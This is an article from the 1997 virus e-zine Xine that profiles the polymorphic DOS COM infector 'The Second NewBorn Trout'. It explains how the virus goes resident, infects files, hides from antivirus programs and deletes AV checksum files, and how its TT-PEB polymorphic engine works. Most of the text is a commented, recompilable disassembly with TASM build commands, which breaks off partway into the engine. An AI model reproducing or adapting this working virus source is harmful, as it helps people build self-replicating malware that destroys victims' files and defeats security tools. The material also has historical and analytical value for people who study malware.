
                                        /-----------------------------\
                                        | Xine - issue #3 - Phile 303 |
                                        \-----------------------------/


                     Virus spotlite:  The Second NewBorn Trout
                             by b0z0/iKX, Padania 1997


Virus Name      : The Second NewBorn Trout
Author          : The Tricky Trout
Origin          : Milan (North Italy), 1995
AV Name         : Trout-6804 (AVAST!), Trout2.6804 (AVP), Trout.6804 (DrWeb)
Type            : Direct action/TSR, Poly, COM infector, Retro
Lenght          : 6804 on disk (19967 in memory)

Introduction:
ÄÄÄÄÄÄÄÄÄÄÄÄÄ
 This is a quite old, but interesting virus from North Italy. Its main point
of interest is undoubtely the good polymorphic engine that can generate a lot
of different types of garbage instructions, including fake interrupt calls
and quite long and complex decryptors, ranging at about 1kb-2kb. This should
sound sorta normal nowadays, but for the past days in 1995 it was a great
engine, maybe one of the best around as some AVers stated at the time.

Virus description:
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
 As it is quite usual the virus will shrink the last MCB and place itself
there. Of course it will then hook interrupt 21h, but instead of pointing
from the IVT directly to the virus handler it will put in the IVT the adress
to the first byte in the new virus segment in high memory. Here (while on
the disk there are some garbage instructions, this is the 5 NOPs at the 1st
gen) the virus will put a jump to the real virus interrupt 21h handler plus
a word as marker. This is done to make the unhooking from the interrupt
21h chain easier. Infact when the virus notices some dangerous program is
going to be started it will encrypt itself in memory and unhook from the
interrupt chain. But more about this stealth feature later.
 Just after going resident TSNBT will turn into a direct action infector to
be sure that the system will became infected. It will infact search for and
infect 5 files in each of the search paths, starting from current directory
on drive C:, then pointing directly to the file C:\DOS\KEYB.COM (quite usual
on every DOS-like system. Of course this search won't be done 5 times ;) ),
then scanning in the C:\DOS directory and finally scanning for COMs in the
current directory. In this way the virus is quite sure that it has been
sucesfully installed on the new system :-)
 At this point, when the installation in memory and on the disk are completed,
the virus will return the control to the original host. After restoring the
host data TSNBT will create a small routine on the stack and will pass the
control to her. This routine will delete the virus from the memory after
the host with zeros and then will pass the control to the host. In this
way the virus isn't present anymore after the host in memory, sorta stealth :)
 While in memory the virus will check for quite a few int 21h functions.
Infact on every execute (4b00h and 4b01h), open (3dh), extended open (6c00h),
rename (56h) and filename parse to fcb (29h) it will check if the file can
be infected (by comparing to the AV, system files and such like strings) and
then will try to infect it. The infection stage is quite an usual COM infection
stage, so nothing special to write :) When a file is executed before the
infection an additional check is done. The virus will check if the program
that is going to be run is an antivirus or a debugger. If so the virus,
apart from not infecting the file, will encrypt itself in memory, unhook
from the interrupt 21h chain (simply putting a jmp far to the old handler
in the 5 bytes we talked about above), setup the stack so the return adress
after the execution will point to the newly generated decryption code and setup
a small routine on the stack that will delete the unencrypted copy of the virus
and then pass the control to the next handler in the interrupt 21h chain. Then
the virus will jump on the routine on the stack that, as said, will overwrite
the unencrypted virus body, leaving of course the encrypted copy that will
be stored higher in the memory block, and then execute the interrupt 21h
funcion requested by the user (4b00h or 4b01h). In this way the antivirus
or debugger that has been executed won't find the virus in the interrupt 21h
chain and won't even be able to scan the memory for a simple scan string!
Infact what is cool is that the virus isn't just encrypted with a standard
loop but the poly engine TT-PEB that is used for the files is used for
memory too, with some additional parameters of course. So detection in memory
is quite hard, at least as hard as on disk. When the antivirus or debugger
will finish it's work DOS will pass control to the CS:IP the virus pushed
previsiously on the stack that points on the decryptor of the virus in
memory. So the virus will decrypt and reinstall itself again in memory.
 Finally at every sucessfull infection the virus will delete some well
known CRC files of the most common antiviruses.

Poly engine description:
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
 As already said the poly engine, the "Tricky Trout Plurimorphic Encryptor
Builder" (shortly TT-PEB) is very interesting. The version used here is the
2.01, but I don't know of other versions before this one. The TT-PEB is
highly based on the use of tables. Infact for a lot of tasks, in the
generation of the main decryption loop instructions, the TT-PEB selects the
routine to be executed from a table containing adresses. The heart of this
method is the procedure tbl2addr that given the adress of the table and the
number of elements in it will return in AX a randomly choosen adress from the
table. A JMP or a CALL to the AX value will then proceed to the generation of
the selected code. This can be used of course also just to select an element
in AX from the table and use it in another way :-)
 The assignation of the values to the register used as pointer, to the
register used as counter and to the register used to hold the key of the
decryptor is done in a random sequence. The assignation of the value can be
done in three different ways: directly assigning the 16bit value to the
register, by assigning first the low 8bits and later the high 8bits, by
assigning first the high 8bits and then the low 8bits. Of course this is done
when the selected register is suitable for doing that!
 The methods of encryption are the usual ones: XOR, ADD and SUB. Only 8bit
math operation can be done. The operation can be done with an immediate value
or using the key register, but this will have anyway a fixed value in the loop.
 The rest of the loop doens't offer many possible choices. There are three
possible ways of checking if the counter came to zero (check check_counter)
and a standard JZ+JMP construct with garbage in the middle to get back to
the decryption loop.
 The garbage generation is interesting too. The garbage instructions are
generated with something like a garbage compiler based on given garbage
construction commands. The main garbage routine (garb_compiler) will infact
examine byte by byte the pointed garbage construction command. The data in
this construction commands should be interpreted as a command to execute or
just as data to the previous command. It's not so simple to write :-)
Let's see a schematic example:

   garb_cmd        db      X1-A, D1A, X2-B, D2A, D2B, X3-B, D3A, D3B, X4, END

 The Xn should be directives to execute some commands. The -A prefix means
that one parameter is required, -B two parameters, no prefix no parameters.
The Dnk are just data bytes that are required by the command before them.

 The garbage compiler will start reading from the first byte and execute
the command X1-A (the adress in memory of the command is, again, calculated
with a table). This will do something using the data D1A too (for example the
X1-A should just store the D1A byte to the buffer where the decryptor is
going to be done or store the D1A plus and additional word or something else).
The X1-A will also update the pointer to the next instruction to be
interpreted, this is X2-B. So then the X2-B, that will use two data bytes,
will be executed, then the X3 that agains need two params and finally execute
X4 that doesn't need extra data.
 In the TT-PEB itself the commands are represented by the garb_rrXX routines
(XX from 00 to 32). The table that converts a command byte to the adress of
the routine is the garb_routines table. Some commands are also called by
other commands, not just directly from the garbage compiler. As you can see
from the source (sorry, i'm not so lazy to comment one by one :) ) the
garb_rrXX rotuines do various things, from just copying the data byte
given on the given data byte (garb_rr00), or testing if a register (given
as data byte) is already used for the main decryption loop (garb_rr2e), or
testing if we are already in the decryptor loop (garb_rr32), or copy the given
amount of data bytes to the decryptor space (garb_rr01, this takes the first
data byte as the number of bytes to copy and the next bytes as data to be
copyed) and so on.
 A command value of 0ffh means that the command has finished or it has to
be stopped (for example if a test for a register has been negative).
In my opinion this kind of garbage generator is very cool, extremely
elegant and easy to extend. The only bad thing i can see is the space used:
infact it should need too much space for some kind of construct, for example
for the generation of one byte garbagers.
 The TT-PEB can generate a good variety of garbage instructions: math
operations with registers and memory, operations with registers, comparations
and the usual stuff. It is interesting that the poly also generates code to
use (in math operations) or compare memory using registers as pointers and
not just only immediate adresses (ex. mov ch,byte ptr ds:[bx+di] and such).
There are also a few fake interrupt calls to both int 13h and 21h. A few
more simple call and jump instructions are also included (see garb_cf0 to
garb_cf5 in source, they are fully described there).
 Another interesting thing is that after the decryptor will be generated the
poly will execute it from memory to encrypt the body of the virus. Of course
the TT-PEB will put a RET instruction just after the end of the decryptor
(encryptor) so it will be able to get control again. When the decryptor will
finish to encrypt the body the TT-PEB will finally delete the RET used just
in memory, will change the math operation that encrypted the body to its
complementary for the decryption and will finally put the real value to the
assignation of the pointer (since before it just put the assignation valid
for execution in memory).

The disasm:
ÄÄÄÄÄÄÄÄÄÄÄ
 Here you have the entire disasm of the virus and of the TT-PEB. Some parts
like the garbage generation routines aren't fully commented since they are
quite simple to understand for the average poly coder. Also I left out many
labels and a few comments from the first hand Sourcer pass. I am not so lazy
to change every label just to hide the first pass :)
 Here comes the source! To get the original compile using TASM 3.0:

TASM /m5 2trout.asm
TLINK /t 2trout.obj

Enjoy!


;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;ÛÛ					                                 ÛÛ
;ÛÛ                       The Second NewBorn Trout                       ÛÛ
;ÛÛ                      Written by The Tricky Trout                     ÛÛ
;ÛÛ                        Milan, North Italy 1995                       ÛÛ
;ÛÛ                                                                      ÛÛ
;ÛÛ                          Disasm by b0z0/iKX                          ÛÛ
;ÛÛ                             Padania 1997                             ÛÛ
;ÛÛ                                                                      ÛÛ
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ

virus_length    equ     (offset tsnbt_fend - offset tsnbt_start)
virus_mem       equ     (offset mem_end - offset tsnbt_start)

seg_a		segment	byte public
		assume	cs:seg_a, ds:seg_a

		org	100h

tsnbt_start:
		nop
		nop
		nop
		nop
		nop
tt_real_virus:
                sti
                cld                             

                pushf
		push	ax
                call    delta_offset

delta_offset:
                mov     si,01
                cli
		xchg	si,sp
                lodsw                           ; call adress in AX
		xchg	sp,si
                sti

                sub     ax,offset delta_offset  ; calculate delta offset
                mov     bp,ax                   ; delta offset in BP

                cmp     byte ptr cs:[poly_in_mem + bp],0
                mov     byte ptr cs:[poly_in_mem + bp],0
                jnz     run_from_mem

                pop     ax
                popf

                call    restore_victim          ; restore victim data
                call    res_check
                jz      already_resident

                call    mem_signature
                call    go_resident
                call    infect_sys

already_resident:
; here the virus creates a bounch of bytes of code on the stack that will
; overwrite the virus in memory (the one after the infected file, of course
; not the one resident in mem :) ) with zeros and then return the control
; to the host (this is CS:100h)

                sub     bx,bx
                mov     cx,0ffh
		mov	dx,cs
		mov	si,100h
                mov     di,0fffeh

                mov     ax,00h
                push    ax                      ; push 00

                mov     ax,08cah                ; push 0ca08 ('retf 8' with
                push    ax                      ; the previous zeros)

                mov     ax,595fh                ; push 5f59h ('pop di',
                push    ax                      ; 'pop cx')

                mov     ax,0aaf3h               ; push f3aah ('rep stosb')
		push	ax

                cli
                mov     word ptr ds:[jump_sp + bp],sp
                mov     word ptr ds:[jump_ss + bp],ss
                sti                             ; store SS:SP for our jump
                                                ; on the stack

                push    cs                      ; this will be the return
                push    si                      ; adress

		push	di
		push	cx

                lea     di,cs:[105h + bp]       ; point on virus body
                mov     cx,virus_length         ; the rep stosb will delete
                sub     ax,ax                   ; the virus in memory with
                sub     bp,bp                   ; zeros (in mem after the COM)


                db      0eah                    ; jmp far on our code on the
jump_sp         dw      00h                     ; stack
jump_ss         dw      00h

run_from_mem:
; if the virus is encrypted in memory after the decryptor it will rehook the
; int 21h and copy just it's decrypted body where on its place

		mov	ax,cs
		mov	ds,ax
                mov     es,word ptr ds:[poly_segmem + bp]
                lea     si,ss:[int21h_jump + bp]
                mov     di,100h                 ; put again the virus int 21h
                mov     cx,5                    ; handler in the chain
                rep     movsb

                lea     si,ss:[105h + bp]
                mov     cx,virus_length         ; reput virus to it's place
                rep     movsb                   ; in memory

                pop     ax                      ; pop exec return stuff
                popf

                pop     bp                      ; correct stack from the
                pop     es                      ; work before
		pop	ds
		pop	di
		pop	si
		pop	dx
		pop	cx
		pop	bx
                retf    2                       ; go on :)

restore_victim:
                lea     si,ss:[orig_bytes + bp] ; point on victim saved data
                mov     di,100h
		mov	cx,5
                rep     movsb                   ; restore the 5 bytes
		retn

res_check:
                mov     ax,6353h                ; residency check call
		mov	cl,0
                int     21h
                cmp     ax,3254h                ; set flags and set ds=cs
		mov	ax,cs
		mov	ds,ax
		retn

mem_signature:
		push	ds
		sub	ax,ax
                mov     ds,ax                   ; set a virus marker in memory
                mov     word ptr ds:[20ch],'XV'
		pop	ds
		retn

go_resident:
		push	ds
		push	es
		mov	ax,cs
		sub	ax,1
                mov     ds,ax                   ; on mcb

                cmp     byte ptr ds:[0],'Z'     ; last mcb?
                je      is_our_last
                jmp     short bad_memory
is_our_last:
                mov     ax,virus_mem            ; needed memory
		mov	cl,4
                shr     ax,cl                   ; convert to paras
                add     ax,1

                mov     dx,word ptr ds:[3]
		sub	dx,ax
                mov     word ptr ds:[3],dx      ; shrink for virus

                sub     bx,bx
		mov	es,bx

                shr     ax,cl
                shr     cl,1
                shr     ax,cl                   ; convert to kbs
		add	ax,1

                sub     word ptr es:[413h],ax   ; lower system memory

                mov     ax,cs
		add	dx,ax
                sub     dx,10h                  ; calculate virus segment
		mov	es,dx

                cli
		sub	ax,ax
		mov	ds,ax

                mov     ax,100h                 ; BX:AX point to the jump
                mov     bx,es                   ; to the int 21h handler

                xchg    ds:[21h * 4],ax         ; hook int21h
                xchg    ds:[21h * 4 + 2],bx

                mov     cs:[orig_int21h + bp],ax
                mov     word ptr cs:[orig_int21h+2 + bp],bx

                mov     word ptr cs:[int24_off + bp],offset int24h_handler
                mov     word ptr cs:[int24_seg + bp],es
                                                ; initialize int24h adress
                mov     ax,cs
		mov	ds,ax

                lea     si,ss:[int21h_jump + bp]
                mov     di,100h
                mov     cx,5                    ; copy the jump to int 21h
                rep     movsb                   ; handler

                lea     si,ss:[105h + bp]
                mov     cx,virus_length         ; copy virus to memory
                rep     movsb
                sti

bad_memory:
		pop	es
		pop	ds
		retn

infect_sys:
; when the virus goes resident it will search for some files to infect that
; are usually on every system (look at the string later in the source). this
; of course is a good idea to implant the virus in the system.

		push	ds
                mov     ah,2Fh                  ; get dta
                int     21h

                push    bx
		push	es
                mov     ah,1Ah                          ; set dta
                lea     dx,ss:[offset mem_buff + bp]    ; dta to our free mem
                int     21h

                lea     dx,cs:[fastfile1 + bp]          ; fastly infect some
                call    fast_infect                     ; files on the system
                lea     dx,cs:[fastfile2 + bp]
                call    fast_infect
                lea     dx,cs:[fastfile3 + bp]
                call    fast_infect
                lea     dx,cs:[fastfile4 + bp]
                call    fast_infect

                pop     ds
		pop	dx
                mov     ah,1ah                  ; set original dta
                int     21h

                pop     ds
		retn

fast_infect:
                mov     byte ptr ds:[fast_cntr + bp],0  ; initialize counter
                mov     ah,4Eh                  ; findfirst
		mov	cx,3
do_find_fn:
                int     21h
                jc      end_fast_inf            ; carry = finished

                mov     si,dx
                lea     di,ss:[buff_2 + bp]
loc_11:
		mov	al,[si]
                cmp     al,'*'                  ; wildcard search?
                je      loc_12
		mov	[di],al
                cmp     al,0                    ; end of name
                je      loc_14
		add	si,1
		add	di,1
		jmp	short loc_11
loc_12:
                lea     si,ss:[buff_1 + bp]
loc_13:
		mov	al,[si]
		mov	[di],al
		add	si,1
		add	di,1
		cmp	al,0
                jne     loc_13
loc_14:
		push	dx

                mov     ax,6353h                ; virus internal function
                mov     cl,1                    ; to infect a file
                lea     dx,cs:[1BC9h + bp]
                int     21h                     

                pop     dx
		mov	ax,cs
		mov	ds,ax
                jc      loc_15                  ; carry no infection, so
                                                ; don't update counter

                add     byte ptr ds:[fast_cntr + bp],1
                cmp     byte ptr ds:[fast_cntr + bp],5
                je      end_fast_inf            ; already 5 infected files?
loc_15:
                mov     ah,4fh                  ; set AH for findnext call
                jmp     short do_find_fn
end_fast_inf:
		retn

int21h_handler:
; Interrupt 21h handler
                cmp     ax,4b00h                ; execute
                je      exec_on21

                cmp     ax,4b01h                ; execute
                je      exec_on21

                cmp     ah,3dh                  ; open
                je      open_on21

                cmp     ax,6c00h                ; extended open
                je      eope_on21

                cmp     ah,56h                  ; rename
                je      open_on21

                cmp     ah,29h                  ; parse filename into fcb
                je      eope_on21

                cmp     ax,6353h                ; residency and internal
                je      resi_on21               ; virus stuff

chain_on21:
                jmp     dword ptr cs:[orig_int21h]
exec_on21:
                call    filenmav_chk
                jnc     no_av1
                jmp     av_executed
no_av1:
                call    filename_chk
                jc      bad_name1
                call    infect_file
bad_name1:
                jmp     short chain_on21

open_on21:
                call    filename_chk
                jc      bad_name2
                call    infect_file
bad_name2:
                jmp     short chain_on21

eope_on21:
		push	dx
		mov	dx,si
                call    filename_chk
                jc      bad_name3
                call    infect_file
bad_name3:
		pop	dx
                jmp     short chain_on21

resi_on21:
		cmp	cl,0
                je      just_residency_check

                cmp     cl,1
                je      infect_it
                iret

just_residency_check:
		mov	ax,3254h
		iret				; Interrupt return
infect_it:
                call    filename_chk
                jc      loc_ret_28

                mov     byte ptr cs:[good_inf],0
                call    infect_file
                cmp     byte ptr cs:[good_inf],1

loc_ret_28:
                retf    2

filename_chk:
                ; ok exit without carry, bad exit with carry. Bad exit if:
                ;  1) the extension isn't COM
                ;  2) the file is an OS file
                ;  3) file is an AV

                call    push_all
		mov	si,dx
nnn_loop:
                cmp     byte ptr [si],0         ; end of the string?
                je      end_string

                cmp     byte ptr [si],'.'
                je      got_dotext

                add     si,1
                jmp     short nnn_loop
got_dotext:
		add	si,1
		push	dx
		mov	dx,si

                mov     di,offset com_suffix
                call    cmpre_names             ; check if the extension
                                                ; is COM

                pop     dx
                jc      ok_extcom               ; extension is ok
end_string:
                stc
                jmp     short exit_cmp1
ok_extcom:
                mov     di,offset os_files      ; check if os file
                call    cmpre_names
                jc      exit_cmp1               ; carry = sysfile, leave it

                mov     di,offset av_names      ; check if av
                call    cmpre_names
exit_cmp1:
                call    pop_all
		retn

filenmav_chk:
; check if the filename is an antivirus. carry if it is

                call    push_all
                mov     di,offset av_names
                call    cmpre_names
                call    pop_all
		retn

cmpre_names:
; DS:DX         = pointer on path to file to check
; CS:DI         = pointer on string (or strings) to compare the filename to

                mov     si,dx
loop_change:
                mov     bx,si                   ; pointer on filename in BX
path_loop:
                cmp     byte ptr [si],0         ; end of filename
                je      end_path_loop

                cmp     byte ptr [si],'\'
                je      delimitator

                cmp     byte ptr [si],':'
                je      delimitator

                add     si,1
                jmp     short path_loop
delimitator:
                add     si,1
                jmp     short loop_change       ; set filename starting
                                                ; point
end_path_loop:
		mov	cl,0
                mov     si,bx                   ; SI pointer on filename

                cmp     byte ptr cs:[di],0      ; end of string?
                jne     check_string

                clc                             ; no carry, name is ok
		retn
check_string:
                mov     al,byte ptr ds:[si]     ; AL = filename char
                mov     ah,byte ptr cs:[di]     ; AH = compared char
                or      al,20h                  ; convert to lowercase
                or      ah,20h

                cmp     al,ah
                je      char_match
                mov     cl,1                    ; cl=1, name differs
char_match:
                add     si,1                    ; both to next char
		add	di,1

                cmp     ah,'.'                  ; end of name to check?
                je      founded_dot

                cmp     ah,20h
                jne     check_string
founded_dot:
                cmp     cl,1                    ; if cl=1 at least one
                                                ; char differs
                je      end_path_loop

                stc                             ; carry, ok name
		retn

loc_41:
		jmp	loc_45
		jmp	loc_43
loc_42:
		jmp	loc_44

infect_file:
                mov     word ptr cs:[finf_name],dx
                mov     word ptr cs:[finf_name+2],ds

                call    push_all
                call    handler_24

                call    get_attrib
                jc      loc_41

                mov     word ptr ds:[orig_att],cx       ; save attribs

                call    open_ro
                jc      loc_41

                call    get_time
                mov     word ptr ds:[f_time],cx ; save file time and date
                mov     word ptr ds:[f_date],dx

                mov     cx,5
                mov     dx,offset orig_bytes    ; read 5 bytes from head
                call    read_file

                cmp     ax,cx                   ; check if readed 5 bytes
                jne     loc_42

                cmp     word ptr ds:[orig_bytes],'ZM'   ; exe?
                je      loc_42

                cmp     word ptr ds:[orig_bytes],'MZ'   ; exe?
                je      loc_42

                cmp     word ptr ds:[orig_bytes+3],'T2' ; already infected?
                je      loc_42

                call    lseek_fend              ; get file lenght
		cmp	dx,0
                jne     loc_42

                cmp     ax,0e000h
		jae	loc_42			; Jump if above or =

                cmp     ax,5
		jb	loc_42			; Jump if below

                mov     ds:[f_length],ax
                call    close_file

                sub     cx,cx
                call    set_attrib              ; delete attributes
                jc      loc_41

                call    open_rw                 ; open in RW mode now
                jc      loc_41

                call    lseek_fend

                mov     byte ptr [good_inf],1
		push	ds
		push	es
		mov	ax,cs
                mov     dx,offset mem_buff              ; mem for poly use
		mov	cl,4
                shr     dx,cl
		add	dx,1
		add	ax,dx
		mov	es,ax

                mov     dx,offset tt_real_virus         ; set poly params
                mov     cx,virus_length
                mov     bp,word ptr ds:[f_length]
		add	bp,100h
		sub	si,si
		mov	ax,6
                call    ttpeb                           ; call poly engine

                call    write_file
		pop	es
		pop	ds

                call    lseek_fsta
                mov     ax,ds:[f_length]

                sub     ax,3
                mov     byte ptr [orig_bytes],0e9h      ; jump to virus
                mov     word ptr [orig_bytes+1],ax
                mov     word ptr ds:[orig_bytes+3],'T2' ; marker

                mov     cx,5
                mov     dx,offset orig_bytes            ; write new head
                call    write_file

                mov     cx,word ptr ds:[f_time]
                mov     dx,ds:[f_date]
                call    set_time                        ; set orig time

                call    close_file                      ; close file

                mov     cx,word ptr ds:[orig_att]
                call    set_attrib                      ; set orig attribs

                call    delete_crcs
		jmp	short loc_45
loc_43:
                call    close_file
                mov     cx,word ptr ds:[orig_att]
                call    set_attrib
		jmp	short loc_45
loc_44:
                call    close_file
		jmp	short loc_45
loc_45:
                call    handler_24
                call    pop_all
		retn

get_attrib:
		mov	al,0
                jmp     short do_attrib
set_attrib:
		mov	al,1
                jmp     short do_attrib
do_attrib:
                lds     dx,dword ptr cs:[finf_name]
                mov     ah,43h                          ; chmod
                call    orig_int21
		mov	ax,cs
		mov	ds,ax
		retn

open_ro:
		mov	al,0
                jmp     short do_open
open_rw:
		mov	al,2
                jmp     short do_open
do_open:
                lds     dx,dword ptr cs:[finf_name]
                mov     ah,3Dh                  ; open file
                call    orig_int21
                xchg    bx,ax                   ; handle in bx
		mov	ax,cs
		mov	ds,ax
		retn

get_time:
		mov	al,0
                jmp     short do_time
set_time:
		mov	al,1
                jmp     short do_time
do_time:
                mov     ah,57h                  ; set/get file date/time
                call    orig_int21
		retn

lseek_fsta:
                mov     al,0
                jmp     short lseek
lseek_fend:
                mov     al,2                    ; lseek from end
                jmp     short lseek
lseek:
		sub	cx,cx
		sub	dx,dx
                mov     ah,42h                  ; lseek
                call    orig_int21
		retn

read_file:
                mov     ah,3fh                  ; read from file
                call    orig_int21
		retn

write_file:
                mov     ah,40h                  ; write to file
                call    orig_int21
		retn

close_file:
                mov     ah,3Eh                  ; close file
                call    orig_int21
		retn


delete_crcs:
; deletes checksum files and such things

                mov     dx,offset crc_files
loc_50:
                mov     di,offset mem_buff
                lds     si,dword ptr cs:[finf_name]

                push    si
		mov	si,dx
                cmp     byte ptr cs:[si],'\'
		pop	si
                jnz     loc_52

                cmp     byte ptr [si+1],':'
                jne     loc_51

                mov     ax,word ptr ds:[si]
                mov     word ptr cs:[di],ax
		add	si,2
		add	di,2
loc_51:
		jmp	short loc_56
loc_52:
                mov     al,byte ptr ds:[si]     ; copy file name
                mov     byte ptr cs:[di],al
		add	si,1
		add	di,1
		cmp	al,0
                jne     loc_52

                mov     si,offset mem_buff
loc_53:
		mov	di,si
loc_54:
                cmp     byte ptr cs:[si],':'
                je      loc_55

                cmp     byte ptr cs:[si],'\'
                je      loc_55

                cmp     byte ptr cs:[si],0
                je      loc_56

                add     si,1
		jmp	short loc_54
loc_55:
		add	si,1
		jmp	short loc_53
loc_56:
		mov	si,dx
loc_57:
                mov     al,byte ptr cs:[si]
                mov     byte ptr cs:[di],al
		add	si,1
		add	di,1
		cmp	al,0
                jne     loc_57

                mov     ax,cs
		mov	ds,ax
		push	dx

                mov     ax,4301h                ; delete file attributes
		sub	cx,cx
                mov     dx,offset mem_buff
                call    orig_int21

                mov     ah,41h                  ; delete file
                mov     dx,offset mem_buff
                call    orig_int21

		pop	dx
		mov	si,dx
loc_58:
		cmp	byte ptr [si],0
                je      loc_59
		add	si,1
		jmp	short loc_58
loc_59:
		add	si,1
                cmp     byte ptr [si],0         ; two zeros means end
                je      loc_ret_60
		mov	dx,si
		jmp	loc_50

loc_ret_60:
		retn

handler_24:
                push    ds                      ; install/uninstall virus
                sub     ax,ax                   ; int24h handler
		mov	ds,ax
                mov     ax,cs:[int24_off]
                mov     bx,cs:[int24_seg]

                xchg    ds:[24h * 4],ax
                xchg    ds:[24h * 4 + 2],bx

                mov     cs:[int24_off],ax
                mov     cs:[int24_seg],bx
		pop	ds
		retn

orig_int21:
                pushf                           ; do a call to original 21h
                call    dword ptr cs:[orig_int21h]
		retn


push_all:
                pop     word ptr cs:[return_addr]
		push	ax
		push	bx
		push	cx
		push	dx
		push	si
		push	di
		push	ds
		push	es
		push	bp
                jmp     word ptr cs:[return_addr]

pop_all:
                pop     word ptr cs:[return_addr]
		pop	bp
		pop	es
		pop	ds
		pop	di
		pop	si
		pop	dx
		pop	cx
		pop	bx
		pop	ax
                jmp     word ptr cs:[return_addr]

return_addr     db      0ah,04h                 ; temp stuff

int24h_handler:
                mov     al,3
                iret

av_executed:
; if a known antivirus (from the latter strings) is going to be run the virus
; will reput the old int21h handler in the chain. then the virus will
; encrypt itself (poly encryption using TT-PEB) in memory. using a small
; routine on the stack the virus will then erase its clean copy from the
; memory (leaving just the encrypted one) and jump far to the original
; int 21h routine that will execute the antivirus. at the return from the
; exec routine, cs:ip will be set to the poly decryptor generated in memory
; (since the virus will push on the stack also the cs:ip of that) and so
; the virus will be able again to get power

                pushf
                call    push_all
                mov     byte ptr cs:[poly_in_mem],1
                mov     word ptr cs:[poly_segmem],cs

                mov     byte ptr cs:[100h],0eah

                mov     ax,word ptr cs:[orig_int21h]
                mov     bx,word ptr cs:[orig_int21h+2]

                mov     word ptr cs:[101h],ax           ; restore old int21h
		mov	word ptr cs:[103h],bx

                mov     ax,cs
                mov     dx,offset mem_buff
		mov	cl,4
                shr     dx,cl                           ; mem for poly
		add	ax,dx
		add	ax,1
		mov	es,ax

                mov     ax,cs
		mov	ds,ax
                mov     dx,105h                         ; poly params
                mov     cx,virus_length
		sub	bp,bp
		sub	si,si
		mov	ax,0Fh
                call    ttpeb                           ; call poly

                mov     cs:[encvir_dx],dx               ; save seg:off of the
                mov     cs:[encvir_ds],ds               ; encrypted body in mem
                call    pop_all
                popf

                push    bx
		push	cx
		push	dx
		push	si
		push	di
		push	ds
		push	es
		push	bp
                pushf

                push    cs:[encvir_ds]          ; where int 21h will return
                push    cs:[encvir_dx]          ; after the execution of the
                                                ; antivirus
                mov     cx,6
		push	cx
                mov     cx,0ca07h               ; push 'retf 6'
                push    cx                      ;  and 'pop es'
                mov     cx,0aaf3h
                push    cx                      ; push 'rep stosb'

                cli
                mov     word ptr cs:[jump_sp2],sp
                mov     word ptr cs:[jump_ss2],ss
                sti

                push    word ptr cs:[orig_int21h+2]     ; where will the
                push    word ptr cs:[orig_int21h]       ; ret jump
		push	es
		mov	cx,cs
		mov	es,cx
                mov     di,105h                 ; point on virus body in high
                mov     cx,virus_length         ; memory

                db      0eah                    ; jmp far to the created
jump_sp2        dw      00h                     ; routine on the stack that
jump_ss2        dw      00h                     ; will delete the clear body
                                                ; from memory and then execute
                                                ; the int 21h

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;
;       TT-PEB (Tricky Trout Plurimorphic Encryptor Builder) v 2.01
;
;
; Entry parameters:
;       AX     = The low 4 bits are used as parameters to the poly:
;                       1 bit:  1 force CS on decrypt operation (0 no CS:)
;                               [0 for files, 1 when body run in mem]
;                       2 bit:  1 create garbage (0 no garbage)
;                       3 bit:  1 create more garbage (0 less garbage)
;                       4 bit:  1 create code to save (and restore at end)
;                               the AX register and the flags (this is do
;                               a push ax and pushf)
;                               [1 needed when body run in mem, since it is
;                               needed to preserve the return stuff]
;       BP     = Offset at which the code will run
;       CX     = Length of code to be encrypted
;       DS:DX  = Pointer on code to be encrypted
;       ES:SI  = Pointer on temp space for poly use
;
; On exit:
;       AX     = CX on entry
;       CX     = Length of generated code
;       DS:DX  = Pointer on generated code
;
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

poly_marker     db      '[TT-PEB]'

ttpeb:
                cli                                     ; store SS and SP
                mov     word ptr cs:[tt_saved_sp],sp
                mov     word ptr cs:[tt_saved_ss],ss
                mov     sp,cs                           ; set stack to our
                mov     ss,sp                           ; memory
                mov     sp,offset tt_stack
                sti

                push    bx
		push	si
                push    bp                              ; save some parameters
                mov     word ptr cs:[tt_saved_dx],dx
                mov     word ptr cs:[tt_saved_ds],ds
                mov     word ptr cs:[tt_saved_cx],cx
                mov     word ptr cs:[tt_saved_bp],bp
                mov     word ptr cs:[tt_saved_si],si
                mov     word ptr cs:[tt_saved_ax],ax

                mov     ax,cs
		mov	ds,ax
poly_init:
                mov     byte ptr [pntr_reg],0ffh        ; initialize all
                mov     byte ptr [cntr_reg],0ffh        ; poly variables and
                mov     byte ptr [oper_reg],0ffh        ; such
                mov     byte ptr [pntr_chdone],0ffh
                mov     byte ptr [cntr_chdone],0ffh
                mov     word ptr [rnd_pos],0ffffh
                mov     byte ptr [spec_cnst],0ffh
                mov     byte ptr [some_lock],0ffh
                mov     byte ptr [decr_init],0ffh

; here the TT-PEB will create a table with offsets to garbage constructs
; (offsets are from the garbage_offsets table) to be used in garbage
; generation in the entire poly process

                mov     si,offset garbage_offsets
		mov	di,2
do_mem_tbl:
                call    get_random              ; how many times will this
                and     al,3                    ; adress figure out?
                cbw

                mov     cx,ax
                mov     ax,word ptr [si]        ; get adress

                cmp     ax,0                    ; AX=00 if garbage_offsets
                je      mem_tbl_end             ; table ended

                cmp     cx,0
                je      cx_zero
                rep     stosw
cx_zero:
                add     si,2                    ; go to next entry in g_off
                jmp     short do_mem_tbl        ; table
mem_tbl_end:
		sub	di,2
                shr     di,1

                mov     es:[0],di               ; nr of garbage adresses
		mov	ax,es
		add	ax,40h
                mov     es,ax                   ; where the decryptor
                sub     di,di                   ; will be created

                mov     ax,[tt_saved_ax]
